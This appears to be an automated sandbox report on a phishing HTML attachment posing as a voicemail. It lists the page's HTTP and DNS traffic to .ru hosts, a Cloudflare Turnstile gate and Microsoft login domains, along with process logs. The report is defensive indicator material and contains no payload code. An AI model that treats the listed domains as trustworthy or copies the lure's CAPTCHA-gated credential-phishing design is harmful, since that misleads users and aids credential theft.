Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://k8.komirath.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://k8.komirath.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://k8.komirath.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/jw1no/0x4AAAAAAA3bMRi2wgFRnskD/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://k8.komirath.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8ffdb9728d954299&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/jw1no/0x4AAAAAAA3bMRi2wgFRnskD/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/jw1no/0x4AAAAAAA3bMRi2wgFRnskD/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: k8.komirath.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://k8.komirath.ru/1jVVShGI/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IjZHMHBtSVpYaUx6NzgrWVg4MStvU3c9PSIsInZhbHVlIjoibkhJVXF6VUhQSndLYTU1RndmbUpvcTR1K1k2YXNSR3I5M2lvbDJlZnFpZTRrZFVwc1o1bEtSQmR4YXBGSERVdi9MQUtqOFdiRTd6aCtMZWJHSVdrWm9EN1hKekNxMzhLbGUxWHdNRHlhVTg1RXI0MkdOcEV2bEVId0RnVUc0SVQiLCJtYWMiOiIwMDQwNmQ2ZjIyYTMwNjk4ODRkNjBjYWU2NjkxYzBmYmE1YzE0OGU5NWJiMzRlZDIzZTNmNWViYTFlZGE4NjIzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjZQa3BMWkVBM3h0YSt2c3RUaHBzZFE9PSIsInZhbHVlIjoic29lbW5hcFdnNk5jNWN0Q1BLNWJJd1BQTEY0Q2YwZzF3cnd4VzA1WCs4NVB3Vlgvdkc0RTJhaFJNajVCdTZWTmdKUUZ3cUl2MWdoYTVocVJVMU5DRzk4dE9PaC9yRC9kRmltWmxYZlhVV0NQcElESytqU3luWmFmN3BPaWtKN08iLCJtYWMiOiIwNWI2M2QxZWQ5OTNlMGM5OTk3YjYwNmVjYWI1ZTI1MTkyM2E5OThmYTAzNDJkY2I2OGQ3MTljNmEzNWMxZTE2IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8ffdb9728d954299&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/672700251:1736522261:xGw24pH9Yt_lkF4lloT6WAHA0mE9pnF8fdg9tLdGolY/8ffdb9728d954299/ux9.Jk6tLZIN4_tE35Jzm9P.PkStHE_i2.J3E1.LhUY-1736523195-1.1.1.1-n44BRCpAToHYOynGeYI5NMvyDrIE2cMTmXmltgbtZIsMR8ds0nprpU2eOaZfg7fw HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/8ffdb9728d954299/1736523196992/455d6818bba637271d82f03df91af8cd7f3a3912c893798423e027aab53b2bc2/KfIlyCWc5m61Ylx HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/jw1no/0x4AAAAAAA3bMRi2wgFRnskD/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8ffdb9728d954299/1736523196999/dOWpH4qw10PT6W1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/jw1no/0x4AAAAAAA3bMRi2wgFRnskD/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/8ffdb9728d954299/1736523196999/dOWpH4qw10PT6W1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/672700251:1736522261:xGw24pH9Yt_lkF4lloT6WAHA0mE9pnF8fdg9tLdGolY/8ffdb9728d954299/ux9.Jk6tLZIN4_tE35Jzm9P.PkStHE_i2.J3E1.LhUY-1736523195-1.1.1.1-n44BRCpAToHYOynGeYI5NMvyDrIE2cMTmXmltgbtZIsMR8ds0nprpU2eOaZfg7fw HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/672700251:1736522261:xGw24pH9Yt_lkF4lloT6WAHA0mE9pnF8fdg9tLdGolY/8ffdb9728d954299/ux9.Jk6tLZIN4_tE35Jzm9P.PkStHE_i2.J3E1.LhUY-1736523195-1.1.1.1-n44BRCpAToHYOynGeYI5NMvyDrIE2cMTmXmltgbtZIsMR8ds0nprpU2eOaZfg7fw HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /0256581979405020159521774NwXzyZCHSEWNUIBRRKYXJPLNYTZCIHJHICJDDWEYJKYGAKJUXP HTTP/1.1Host: dfoh97nttoabozjk8c1554qqi47dok8l4s7qqxqhfxbdhprgqycabbh.ivertoneym.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://k8.komirath.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://k8.komirath.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /0256581979405020159521774NwXzyZCHSEWNUIBRRKYXJPLNYTZCIHJHICJDDWEYJKYGAKJUXP HTTP/1.1Host: dfoh97nttoabozjk8c1554qqi47dok8l4s7qqxqhfxbdhprgqycabbh.ivertoneym.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: ecohomethings.net
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: k8.komirath.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: dfoh97nttoabozjk8c1554qqi47dok8l4s7qqxqhfxbdhprgqycabbh.ivertoneym.ru
Source: global traffic	DNS traffic detected: DNS query: login.microsoftonline.com
Source: global traffic	DNS traffic detected: DNS query: www.office.com
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: identity.nel.measure.office.net

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/b/flow/ov1/672700251:1736522261:xGw24pH9Yt_lkF4lloT6WAHA0mE9pnF8fdg9tLdGolY/8ffdb9728d954299/ux9.Jk6tLZIN4_tE35Jzm9P.PkStHE_i2.J3E1.LhUY-1736523195-1.1.1.1-n44BRCpAToHYOynGeYI5NMvyDrIE2cMTmXmltgbtZIsMR8ds0nprpU2eOaZfg7fw HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3185sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-type: application/x-www-form-urlencodedCF-Chl-RetryAttempt: 0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36CF-Challenge: ux9.Jk6tLZIN4_tE35Jzm9P.PkStHE_i2.J3E1.LhUY-1736523195-1.1.1.1-n44BRCpAToHYOynGeYI5NMvyDrIE2cMTmXmltgbtZIsMR8ds0nprpU2eOaZfg7fwsec-ch-ua-platform: "Windows"Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/jw1no/0x4AAAAAAA3bMRi2wgFRnskD/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 10 Jan 2025 15:33:16 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=awrljOXtvGc94f9Szt%2FE5%2FJTyWeo7LROzkIMTRFGpVE%2BE8PaYaeSgQMxk6tVEv5tJJ7tcYbwyVQzN4FNWKpiKSC0b77anxBVwlB24YPSp12sipovNs33VUA56SMujA%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=4938&min_rtt=4916&rtt_var=1423&sent=4&recv=8&lost=0&retrans=0&sent_bytes=2825&recv_bytes=2229&delivery_rate=564967&cwnd=251&unsent_bytes=0&cid=2646f1b2b18a3ca4&ts=168&x=0"CF-Cache-Status: MISSServer: cloudflareCF-RAY: 8ffdb9794d947c9a-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=1827&min_rtt=1812&rtt_var=710&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2827&recv_bytes=1894&delivery_rate=1508264&cwnd=195&unsent_bytes=0&cid=81925f9d7f0501fe&ts=3991&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 10 Jan 2025 15:33:21 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: Zg3pqAvSNMutb4/Zqaaf3g==$PxebzTgODehi3w8Gmcv91g==cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 8ffdb9965bc68c5d-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Fri, 10 Jan 2025 15:33:27 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: UzOmu//e3TPXdWTHi1hJBQ==$7b4rV9xbbNZ8+qHhIPDXiQ==cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 8ffdb9bcb8f50f7d-EWRalt-svc: h3=":443"; ma=86400

Source: chromecache_123.2.dr, chromecache_104.2.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js
Source: chromecache_97.2.dr, chromecache_105.2.dr	String found in binary or memory: https://login.microsoftonline.com
Source: chromecache_97.2.dr, chromecache_105.2.dr	String found in binary or memory: https://login.windows-ppe.net

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63290
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63292
Source: unknown	Network traffic detected: HTTP traffic on port 63348 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49691 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63277 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63286
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63280 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63284 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63340
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49691
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63290 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63276 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63340 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49722
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 63286 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63348
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63280
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63285
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63284
Source: unknown	Network traffic detected: HTTP traffic on port 63275 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 63292 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63276
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63275
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 63277
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 63285 -> 443

System Summary

HTML document with suspicious name

Source: Name includes: Play_VM-NowTingrammAudiowav011.html

Initial sample: play

Source: classification engine

Classification label: mal68.phis.evad.winHTML@19/81@40/14

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\Play_VM-NowTingrammAudiowav011.html
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2132 --field-trial-handle=1852,i,16924924304388263434,6221033386687583633,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2132 --field-trial-handle=1852,i,16924924304388263434,6221033386687583633,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
